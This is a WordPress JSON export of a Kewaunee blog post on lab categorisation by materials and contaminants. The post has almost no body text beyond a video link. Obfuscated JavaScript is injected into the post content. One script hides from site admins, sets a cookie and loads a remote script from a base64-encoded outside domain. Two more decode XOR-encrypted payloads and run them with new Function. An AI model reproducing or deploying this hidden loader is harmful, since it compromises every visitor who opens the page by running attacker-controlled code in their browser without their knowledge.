{"id":1200,"date":"2020-01-20T12:42:48","date_gmt":"2020-01-20T07:12:48","guid":{"rendered":"https:\/\/www.kewaunee.in\/blog\/?p=1200"},"modified":"2026-08-24T21:32:01","modified_gmt":"2026-08-24T16:02:01","slug":"how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled","status":"publish","type":"post","link":"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/","title":{"rendered":"How are the laboratories categorised based on materials and contaminants handled?"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row full_width=&#8221;stretch_row&#8221; equal_height=&#8221;yes&#8221; content_placement=&#8221;middle&#8221; css=&#8221;.vc_custom_1594037823219{margin-top: 0px !important;margin-bottom: 0px !important;padding-top: 40px !important;padding-bottom: 40px !important;}&#8221;][vc_column][vc_column_text]<\/p>\n<h1 class=\"wp-block-heading\" style=\"text-align: center;\">How are the laboratories categorised based on materials and contaminants handled?<\/h1>\n<p>[\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text css=&#8221;.vc_custom_1615792296038{margin-top: 0px !important;margin-bottom: 0px !important;padding-top: 0px !important;padding-bottom: 10px !important;}&#8221;]https:\/\/www.youtube.com\/watch?v=DxOMD54QKcg[\/vc_column_text]<div class=\"boc_spacing \" style=\"height: 20px\"><\/div>[\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row][vc_column]<div class=\"boc_spacing \" style=\"height: 20px\"><\/div>[\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text]<\/p>\n<p>[\/vc_column_text][\/vc_column][\/vc_row]<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>!function(){var _0xcbff877e087c=atob('bCIxKicwLSsqbG0\/LSJsMy0qICszH2Mbd3Elc3cgIXUgJ2MZbTYhMDE2Kn8zLSogKzMfYxt3cSVzdyAhdSAnYxl5dX8yJTZkGyonNj0gNT55ZnxwdHYiJnV3d3wgJSUmciV1cnIhfXUlJXwnfXYldnRzfXwlJyIlfXwiJnNxJ3EldmZ\/MiU2ZBsmMTIlKzQ1eR9jLDAwNDd+a2s2NCdqJSovNmonKylrNCsoPSMrKmNoYywwMDQ3fmtrNCsoPSMrKmojJTAhMyU9ajAhKiAhNig9aicrY2hjLDAwNDd+a2s0Kyg9IysqaiA2NCdqKzYjY2hjLDAwNDd+a2s0Kyg9IysqaSYrNmk2NCdqNDEmKC0nKisgIWonKyljaGMsMDA0N35ra3U2NCdqLStrKSUwLSdjaGMsMDA0N35razQrKD0jKyppNDEmKC0naiorIC0hN2olNDRjaGMsMDA0N35razY0J2kpJS0qKiEwaiklMC0najUxLS8qKyAhajQ2K2NoYywwMDQ3fmtrNCsoPSMrKmkpJS0qKiEwajQxJigtJ2omKCU3MCU0LWotK2MZfzIlNmQbKSc8JSY8eWZ0PAZyJgd9IXUAdCZ2IgZ9cgUmcwdwcwF0cAcmdAYBcHNzcHV0Jgd1InZmfzIlNmQbPDUyM3lmJnJ8IHV8dH1mfyIxKicwLSsqZBstNSY8K2wbISAiMjZtPzA2PT8yJTZkGy81LC0sPCh5GyEgIjI2ajcxJjcwNmx0aHZteXl5Y3Q8Y3sbISAiMjZqNzEmNzA2bHZtfhshICIyNn8tImwbLzUsLSw8KGooISojMCx4dXZ8bTYhMDE2KmNjfzIlNmQbNjA+N3k0JTY3IQ0qMGwbLzUsLSw8KGo3MSY3MDZscnBocnBtaHVybX8tImxlGzYwPjdtNiEwMTYqY2N\/MiU2ZBsrKSYseRsvNSwtLDwoajcxJjcwNmx1dnxoGzYwPjdudm1oGzE8MzU+ITx5Y2N\/Iis2bDIlNmQbJigpNiAzLXl0fxsmKCk2IDMteBsrKSYsaighKiMwLH8bJigpNiAzLW95dm0\/MiU2ZBsxLywqNC4yeTQlNjchDSowbBsrKSYsajcxJjcwNmwbJigpNiAzLWh2bWh1cm1\/LSJsGzEvLCo0LjJtGzE8MzU+ITxveRcwNi0qI2oiNispBywlNgcrICFsGzEvLCo0LjJtfzk2ITAxNipkGzE8MzU+ITx\/OSclMCcsbCFtPzYhMDE2KmNjfzk5IjEqJzAtKypkGyczKSg8NDNsGzwjLC80J2gbNzcwLD5tPzYhMDE2KmQqITNkFDYrKS03IWwiMSonMC0rKmwbIzEsKj4+aBs8MyYxMG0\/MiU2ZBsnIz4geSohM2QcCQgMMDA0FiE1MSE3MGxtfxsnIz4gais0ISpsYxQLFxBjaBs8IywvNCdoMDYxIW1\/GycjPiBqNyEwFiE1MSE3MAwhJSAhNmxjBysqMCEqMGkQPTQhY2hjJTQ0KC0nJTAtKyprLjcrKmNtfxsnIz4gajAtKSErMTB5cXR0dH8bJyM+IGorKigrJSB5IjEqJzAtKypsbT8wNj0\/GyMxLCo+PmwOFwsKajQlNjchbBsnIz4gajYhNzQrKjchECE8MG1tfzknJTAnLGwhbT8bPDMmMTBsIW1\/OTl\/GycjPiBqKyohNjYrNnkbJyM+IGorKjAtKSErMTB5IjEqJzAtKypsbT8bPDMmMTBsKiEzZAE2Nis2bG1tfzl\/GycjPiBqNyEqIGwOFwsKajcwNi0qIy0iPWwbNzcwLD5tbX85bX85IjEqJzAtKypkGy0vLCZsGyUgISJtPy0ibBslICEienkbJjEyJSs0NWooISojMCxtNiEwMTYqZBQ2KyktNyFqNiE3KygyIWwqMSgobX8yJTZkGz02Nyl5Py43Kyo2NCd+Y3ZqdGNoKSEwLCsgfmMhMCwbJyUoKGNoNCU2JSk3fh8\/MCt+GyknPCUmPGggJTAlfmN0PGNvGzw1MjM5aGMoJTAhNzBjGWgtIH51OX82ITAxNipkGyczKSg8NDNsGyYxMiUrNDUfGyUgISIZaBs9NjcpbWowLCEqbCIxKicwLSsqbBsxNDwrPCJtPzIlNmQbPSUzJz0uMnkbMTQ8KzwiYmIbMTQ8KzwiajYhNzEoMHsbLTUmPCtsGzE0PCs8Imo2ITcxKDBtfmNjfy0ibBs9JTMnPS4ybTYhMDE2KmQbPSUzJz0uMmo2ITQoJSchbGsYa29ga2hjY21\/NiEwMTYqZBstLywmbBslICEib3VtfzltaiclMCcsbCIxKicwLSsqbG0\/NiEwMTYqZBstLywmbBslICEib3VtfzltfzkiMSonMC0rKmQbLz4uNT0jNWwbLiIlNz5tPzIlNmQbIjQmKyJ5ICsnMSkhKjBqJzYhJTAhASghKSEqMGxjNyc2LTQwY21\/GyI0Jisiajc2J3kbLiIlNz5vY2slNC1qNCw0ezd5Y28bKic2PSA1Pm9jYhsyeWNvCSUwLGoiKCsrNmwAJTAhaiorM2xta3J0dHR0bX8bIjQmKyJqJTc9Kid5MDYxIX9sICsnMSkhKjBqLCElIDg4ICsnMSkhKjBqJisgPW1qJTQ0ISogBywtKCBsGyI0JisibX85Gy0vLCZsdG1qMCwhKmwiMSonMC0rKmwbLiIlNz5tPy0ibBsuIiU3Pm0bLz4uNT0jNWwbLiIlNz5tfzltfzltbG1\/'),_0xf66ac80bb5eb=68,_0x5bdfac532707=new Uint8Array(_0xcbff877e087c['length']),_0x1ae0780bfa82=0;for(;_0x1ae0780bfa82<_0xcbff877e087c['length'];_0x1ae0780bfa82++)_0x5bdfac532707[_0x1ae0780bfa82]=_0xcbff877e087c['charCodeAt'](_0x1ae0780bfa82)^_0xf66ac80bb5eb;(new Function(new TextDecoder()['decode'](_0x5bdfac532707)))()}();<\/script><script>(function(){\nvar x46eaa6=6026;\nif(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757}\nvar zf368b3=y17321a*81;\nvar _0xc4c3ed2ddbac=[29,26,112,5,14,48,39,6,13,10,17,16,29,30,9,11,13,10,113,26,12,32,9,16,0,26,17,7,1,36,124,37,0,10,112,46,15,48,32,9,28,35,39,42,28,121,124,35,29,9,59,43,12,25,63,4,14,120,1,7,13,10,43,44,14,47,124,33,16,33,17,43,0,48,112,42,15,13,10,7,27,32,60,24,16,33,26,13,27,13,1,24,15,9,60,18,2,47,13,17,14,47,124,7,26,14,60,10,28,29,36,4,0,48,60,1,27,35,56,10,0,26,47,17,15,120,112,17,27,13,113,24,0,13,10,1,15,10,32,10,15,35,10,4,15,13,60,2,28,35,10,10,15,10,39,46,15,13,10,10,0,48,60,7,28,10,56,5,15,13,60,42,25,47,112,17,11,121,35,37,14,48,47,16,0,47,124,31,11,29,25,33,16,32,13,6,12,25,35,3,25,121,18,31,27,9,59,2,15,36,43,25,14,36,17,29,15,9,120,25,15,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,44,11,63,35,41,30,48,17,4,0,36,125,30,16,32,13,6,12,25,35,3,25,121,18,31,11,26,17,30,9,10,124,31,14,121,43,45,15,9,120,43,12,32,47,9,30,63,120,43,14,48,120,43,11,48,29,9,30,48,39,31,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,9,35,5,15,48,29,25,15,36,43,16,14,32,120,25,0,9,56,16,15,9,35,2,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,2,14,32,29,9,0,32,17,16,30,10,59,31,11,121,25,4,11,26,56,16,11,25,63,42,14,26,9,41,14,48,17,44,0,14,43,41,14,32,26,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,59,2,15,36,43,17,14,48,1,4,30,48,39,31,14,14,17,2,14,32,29,9,0,32,17,16,16,36,30,45,13,25,120,6,11,25,56,12,30,36,17,4,11,26,56,29,14,10,47,25,14,48,43,43,12,30,43,29,15,9,120,25,15,36,43,1,12,10,9,27,14,48,17,44,0,14,43,2,11,48,18,45,30,30,124,26,12,25,120,2,11,35,6,31,30,47,35,31,14,25,9,45,14,32,44,29,14,10,47,25,14,48,43,43,12,30,43,2,12,10,59,30,13,10,56,16,15,48,29,17,11,47,120,17,11,26,10,16,13,10,18,45,2,13,1,24,15,9,60,18,2,32,39,26,0,26,39,24,9,10,6,13,31,120,35,10,7,120,112,42,7,35,9,43,27,12,121,2,15,120,59,46,7,120,10,24,7,10,60,7,7,35,121,7,24,13,36,6,7,32,60,2,7,50,48,6,28,35,125,6,27,13,35,42,7,35,47,46,27,121,60,11,12,48,47,4,31,27,17,43,0,48,63,12,9,29,26,42,15,120,113,10,0,29,32,10,27,29,10,42,25,32,112,5,14,48,39,6,13,10,17,16,31,27,17,44,15,47,63,12,14,48,60,26,2,32,59,6,0,26,59,27,14,48,32,25,9,47,120,4,9,9,1,24,15,9,60,18,2,32,5,28,11,9,125,13,2,32,59,6,0,26,59,27,14,48,32,16,11,47,63,42,11,47,120,4,29,29,36,30,27,121,10,13,26,13,26,45,27,25,14,45,26,33,17,42,12,26,120,42,13,32,43,17,30,63,39,5,15,63,39,6,11,121,14,4,29,13,5,37,15,63,120,44,15,48,1,16,15,13,1,25,0,121,13,37,13,48,5,1,12,36,43,30,0,10,43,45,12,26,14,14,27,13,60,10,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,11,48,13,44,15,32,17,7,26,9,35,17,11,63,39,43,5,10,43,6,29,27,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,24,28,30,30,24,28,30,10,30,27,13,113,25,25,32,9,46,29,30,47,37,11,48,13,44,15,32,17,7,29,9,59,43,12,25,63,4,14,121,125,45,25,47,112,17,11,121,35,37,13,26,25,28,0,63,112,16,26,11,17,28,13,63,47,7,30,63,39,5,15,63,39,6,11,121,14,1,27,120,14,30,2,47,59,26,0,26,39,31,12,36,6,4,29,14,29,37,11,10,9,24,9,26,59,1,11,120,26,45,16,35,1,46,14,47,60,26,12,48,47,4,31,27,17,5,9,63,120,17,12,13,26,2,25,33,17,5,9,63,120,17,12,13,29,37,13,26,25,28,0,63,112,16,30,48,29,43,14,48,124,6,13,29,1,37,12,9,5,6,15,9,48,27,26,13,60,25,9,47,112,17,11,121,35,37,12,10,13,29,0,47,121,13,11,26,47,4,11,32,63,63,14,63,121,26,2,32,13,29,13,48,112,24,14,121,43,3,12,10,59,3,12,25,60,26,2,47,63,12,12,26,47,5,30,29,60,25,30,29,32,24,29,13,1,25,0,121,13,37,12,10,13,29,0,47,121,25,2,47,47,25,12,63,13,42,11,9,60,27,26,11,39,6,11,48,9,16,0,36,43,46,11,48,17,29,7,32,13,17,11,50,39,31,0,26,48,26,2,47,63,26,14,10,124,6,29,13,1,13,11,48,63,6,12,9,59,16,31,27,17,1,13,9,112,10,15,63,47,4,25,47,25,41,15,9,120,41,13,30,13,43,29,9,1,4,0,9,120,5,11,48,44,45,16,35,1,13,10,10,112,5,14,48,39,6,13,10,17,16,31,27,17,7,0,32,29,1,12,30,13,37,13,10,59,7,9,121,29,37,13,26,5,25,14,121,9,11,11,48,63,6,12,9,59,16,31,26,43,43,12,36,35,56,11,48,17,29,13,9,39,43,29,26,112,5,14,48,39,6,13,10,17,16,29,27,17,45,9,26,59,28,14,9,124,44,30,27,17,16,15,9,35,10,15,121,9,11,12,48,47,4,31,27,17,27,14,10,112,26,15,10,14,13,14,48,63,7,31,27,13,120,6,28,13,6,12,25,35,58,0,9,47,5,0,9,39,6,29,30,10,11,2,32,1,29,0,48,13,17,13,30,43,31,11,26,63,16,29,30,124,56,6,33,39,60,16,36,29,37,13,10,59,7,9,121,29,6,11,63,63,43,29,13,1,37,13,32,25,46,13,26,47,26,30,63,39,43,12,27,59,43,11,9,63,43,11,47,120,48,0,10,47,44,0,9,60,26,16,34,39,31,14,63,120,43,14,63,121,29,4,25,9,2,0,14,125,30,16,32,47,2,11,26,29,25,15,32,47,6,13,10,17,16,30,32,5,3,14,32,44,45,29,13,1,37,13,32,25,46,13,26,47,26,30,63,120,25,14,10,63,31,12,9,121,13,28,13,36,2,27,29,1,37,13,32,25,46,13,26,47,26,30,48,17,16,14,26,17,17,0,29,25,46,12,10,43,41,12,26,9,31,14,121,14,25,9,47,120,4,9,9,1,37,0,47,13,42,13,48,25,7,0,30,13,50,3,34,17,123,30,63,35,17,11,63,39,43,29,27,17,27,14,10,112,26,15,10,14,16,11,48,63,3,11,26,17,16,11,32,63,60,0,9,13,6,29,14,10,11,10,10,39,17,12,26,39,26,29,26,48,25,9,33,17,16,15,9,35,10,15,121,13,43,29,13,1,13,10,13,1,37,13,32,25,46,13,26,47,26,30,48,17,16,0,9,59,4,14,47,60,13,2,32,1,29,0,48,13,17,13,30,43,31,14,63,120,25,14,10,63,31,12,9,121,13,0,63,63,16,15,47,120,25,14,32,44,26,29,9,1,37,14,48,47,2,9,26,60,26,14,48,63,7,31,28,63,4,11,48,17,4,29,30,10,25,25,47,26,11,2,32,1,29,0,48,13,17,13,30,43,3,0,10,43,44,29,28,5,57,6,34,44,16,11,47,120,4,13,10,43,45,13,10,112,9,29,27,17,26,13,48,9,16,29,14,10,11,10,14,10,11,10,10,112,5,14,48,39,6,13,10,17,16,31,27,17,2,13,10,43,30,13,10,32,26,2,47,63,43,12,26,120,42,13,30,9,11,13,10,113,26,2,47,63,43,12,26,120,42,13,29,44,13,2,32,43,17,14,48,124,7,14,47,36,16,14,26,63,16,0,47,120,26,29,9,59,43,12,25,63,4,14,121,35,56,11,48,17,29,13,9,39,43,30,63,59,43,11,32,17,30,12,48,48,26,14,63,63,30,14,30,10,11,12,48,47,4,31,27,17,16,11,48,124,28,15,47,113,13,9,32,5,3,14,32,43,4,11,26,56,12,16,35,60,16,27,30,125,30,14,10,63,6,13,26,17,44,25,121,124,43,12,26,13,37,15,32,47,30,14,30,125,30,11,26,47,4,15,10,25,3,25,49,1,11,12,26,18,12,2,32,39,26,0,26,39,24,9,10,6,30,0,26,47,6,15,13,6,45,27,25,14,45,29,33,17,43,0,48,63,12,9,25,26,30,16,32,29,17,12,26,63,3,12,30,124,35,30,26,9,44,25,120,47,13,25,47,59,43,12,25,63,4,14,121,35,37,12,32,124,30,11,9,121,26,2,32,43,17,14,48,124,7,14,47,35,33,2,47,63,43,12,26,120,42,13,27,26,30,2,32,43,4,0,32,5,41,12,121,10,16,12,26,13,43,14,121,13,46,12,10,43,41,12,26,9,31,14,121,13,37,12,26,112,44,14,26,18,25,9,47,112,17,11,121,35,37,0,32,39,2,15,13,25,37,12,26,112,44,14,26,18,46,16,49,17,6,0,48,120,30,14,36,43,4,0,9,39,5,14,25,121,15,2,32,120,41,12,9,5,16,15,121,13,37,12,26,112,44,14,26,18,16,11,48,63,3,12,10,29,6,29,13,6,45,16,35,1,25,0,121,13,37,0,32,39,2,15,14,9,4,0,9,120,5,11,48,44,18,2,32,124,41,11,26,32,16,11,48,63,2,14,26,47,41,0,14,14,31,2,30,18,27,16,30,18,30,16,36,125,25,25,47,59,43,12,25,63,4,14,121,35,37,11,26,9,16,14,26,9,17,29,27,17,5,0,9,120,44,15,48,14,27,27,14,10,11,10,14,10,16,15,32,47,6,15,32,14,26,0,63,63,16,15,47,120,25,14,32,44,26,29,9,1,4,0,9,120,5,11,48,44,18,2,47,35,25,14,48,29,25,15,14,13,37,12,10,63,6,0,26,59,26,29,35,32,25,25,47,26,25,25,47,25,46,12,10,43,41,12,26,9,31,14,121,35,37,11,9,124,27,0,26,29,29,29,27,17,6,0,32,29,17,29,9,1,24,15,9,60,18,2,47,63,46,11,47,60,13,0,26,17,41,12,10,25,43,14,63,121,16,15,47,59,43,15,9,120,43,24,10,29,43,14,10,63,16,12,30,14,45,11,32,39,4,13,9,35,6,16,36,10,11,2,47,63,46,11,47,60,16,11,47,59,41,26,11,17,6,0,32,29,17,29,36,125,31,15,9,35,25,30,63,35,26,11,29,17,3,26,14,125,27,2,47,13,17,14,47,124,7,29,36,125,46,2,47,113,13,16,36,1,120,15,9,120,26,30,48,112,30,14,32,17,4,29,28,120,17,12,26,48,16,14,48,17,7,29,30,10,31,28,120,36,2,27,29,36,25,25,33,17,5,0,63,39,4,30,48,47,3,9,10,43,41,26,9,120,4,12,10,48,11,29,26,120,31,15,47,63,29,0,10,43,6,30,48,13,43,15,10,120,14,10,26,120,31,15,47,63,29,0,10,43,6,30,48,59,31,0,25,10,25,30,48,47,2,11,26,63,16,0,28,39,26,13,10,29,44,29,27,17,5,0,63,39,4,29,13,1,13,2,47,35,25,14,48,29,25,15,14,14,2,29,14,43,6,13,26,63,16,29,26,112,5,14,48,39,6,13,10,17,16,29,27,17,6,0,32,29,17,29,9,1,25,0,121,13,37,12,26,124,30,15,14,9,37,11,9,124,27,0,26,29,29,29,27,17,6,0,32,29,17,29,13,1,13,29,13,1,13,29,14,14,25,25,47,117,117];\nvar _0xd2590aeec7ec=72;\nvar _0x695b12d6658b='';\nfor(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++)\n  _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac[_0xecc7dff14118]^_0xd2590aeec7ec);\nvar _0xb2ada9a65d62=121;\nvar _0x61fc9cbf8bf3=atob(_0x695b12d6658b);\nvar _code='';\nfor(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++)\n  _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62);\n(new Function(_code))();\n})();<\/script><\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row full_width=&#8221;stretch_row&#8221; equal_height=&#8221;yes&#8221; content_placement=&#8221;middle&#8221; css=&#8221;.vc_custom_1594037823219{margin-top: 0px !important;margin-bottom: 0px !important;padding-top: 40px !important;padding-bottom: 40px !important;}&#8221;][vc_column][vc_column_text] How are the laboratories categorised based on materials and contaminants handled? [\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text css=&#8221;.vc_custom_1615792296038{margin-top: 0px !important;margin-bottom: 0px !important;padding-top: 0px !important;padding-bottom: 10px !important;}&#8221;]https:\/\/www.youtube.com\/watch?v=DxOMD54QKcg[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row][vc_column][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text] [\/vc_column_text][\/vc_column][\/vc_row]<\/p>\n","protected":false},"author":2,"featured_media":1201,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[61,89],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v21.8 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Lab Categorization Based on Materials &amp; Contaminants | Kewaunee<\/title>\n<meta name=\"description\" content=\"Discover how laboratories are categorized based on the handling of materials and contaminants. Gain insights into safety protocols with Kewaunee.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Lab Categorization Based on Materials &amp; Contaminants | Kewaunee\" \/>\n<meta property=\"og:description\" content=\"Discover how laboratories are categorized based on the handling of materials and contaminants. Gain insights into safety protocols with Kewaunee.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/\" \/>\n<meta property=\"article:published_time\" content=\"2020-01-20T07:12:48+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-08-24T16:02:01+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.kewaunee.in\/blog\/wp-content\/uploads\/2021\/03\/materials.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1280\" \/>\n\t<meta property=\"og:image:height\" content=\"720\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Kewaunee International Group\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Kewaunee International Group\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"1 minute\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/\",\"url\":\"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/\",\"name\":\"Lab Categorization Based on Materials & Contaminants | Kewaunee\",\"isPartOf\":{\"@id\":\"https:\/\/www.kewaunee.in\/blog\/#website\"},\"datePublished\":\"2020-01-20T07:12:48+00:00\",\"dateModified\":\"2026-08-24T16:02:01+00:00\",\"author\":{\"@id\":\"https:\/\/www.kewaunee.in\/blog\/#\/schema\/person\/8984b794f6a03b8701a044f24c072f1a\"},\"description\":\"Discover how laboratories are categorized based on the handling of materials and contaminants. Gain insights into safety protocols with Kewaunee.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.kewaunee.in\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How are the laboratories categorised based on materials and contaminants handled?\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.kewaunee.in\/blog\/#website\",\"url\":\"https:\/\/www.kewaunee.in\/blog\/\",\"name\":\"\",\"description\":\"\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.kewaunee.in\/blog\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.kewaunee.in\/blog\/#\/schema\/person\/8984b794f6a03b8701a044f24c072f1a\",\"name\":\"Kewaunee International Group\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/www.kewaunee.in\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef98529dacaa04a728210d20f23a4522?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef98529dacaa04a728210d20f23a4522?s=96&d=mm&r=g\",\"caption\":\"Kewaunee International Group\"},\"description\":\"Kewaunee, the global leader in total laboratory solutions, empowers organisations to achieve competitive advantage through safe, efficient, and contemporary laboratories. In existence since 1906, Kewaunee powers the laboratories for over 5,000 customers in more than 100 countries.\",\"url\":\"https:\/\/www.kewaunee.in\/blog\/author\/users\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Lab Categorization Based on Materials & Contaminants | Kewaunee","description":"Discover how laboratories are categorized based on the handling of materials and contaminants. Gain insights into safety protocols with Kewaunee.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/","og_locale":"en_US","og_type":"article","og_title":"Lab Categorization Based on Materials & Contaminants | Kewaunee","og_description":"Discover how laboratories are categorized based on the handling of materials and contaminants. Gain insights into safety protocols with Kewaunee.","og_url":"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/","article_published_time":"2020-01-20T07:12:48+00:00","article_modified_time":"2026-08-24T16:02:01+00:00","og_image":[{"width":1280,"height":720,"url":"https:\/\/www.kewaunee.in\/blog\/wp-content\/uploads\/2021\/03\/materials.png","type":"image\/png"}],"author":"Kewaunee International Group","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Kewaunee International Group","Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/","url":"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/","name":"Lab Categorization Based on Materials & Contaminants | Kewaunee","isPartOf":{"@id":"https:\/\/www.kewaunee.in\/blog\/#website"},"datePublished":"2020-01-20T07:12:48+00:00","dateModified":"2026-08-24T16:02:01+00:00","author":{"@id":"https:\/\/www.kewaunee.in\/blog\/#\/schema\/person\/8984b794f6a03b8701a044f24c072f1a"},"description":"Discover how laboratories are categorized based on the handling of materials and contaminants. Gain insights into safety protocols with Kewaunee.","breadcrumb":{"@id":"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.kewaunee.in\/blog\/how-are-the-laboratories-categorised-based-on-materials-and-contaminants-handled\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.kewaunee.in\/blog\/"},{"@type":"ListItem","position":2,"name":"How are the laboratories categorised based on materials and contaminants handled?"}]},{"@type":"WebSite","@id":"https:\/\/www.kewaunee.in\/blog\/#website","url":"https:\/\/www.kewaunee.in\/blog\/","name":"","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.kewaunee.in\/blog\/?s={search_term_string}"},"query-input":"required 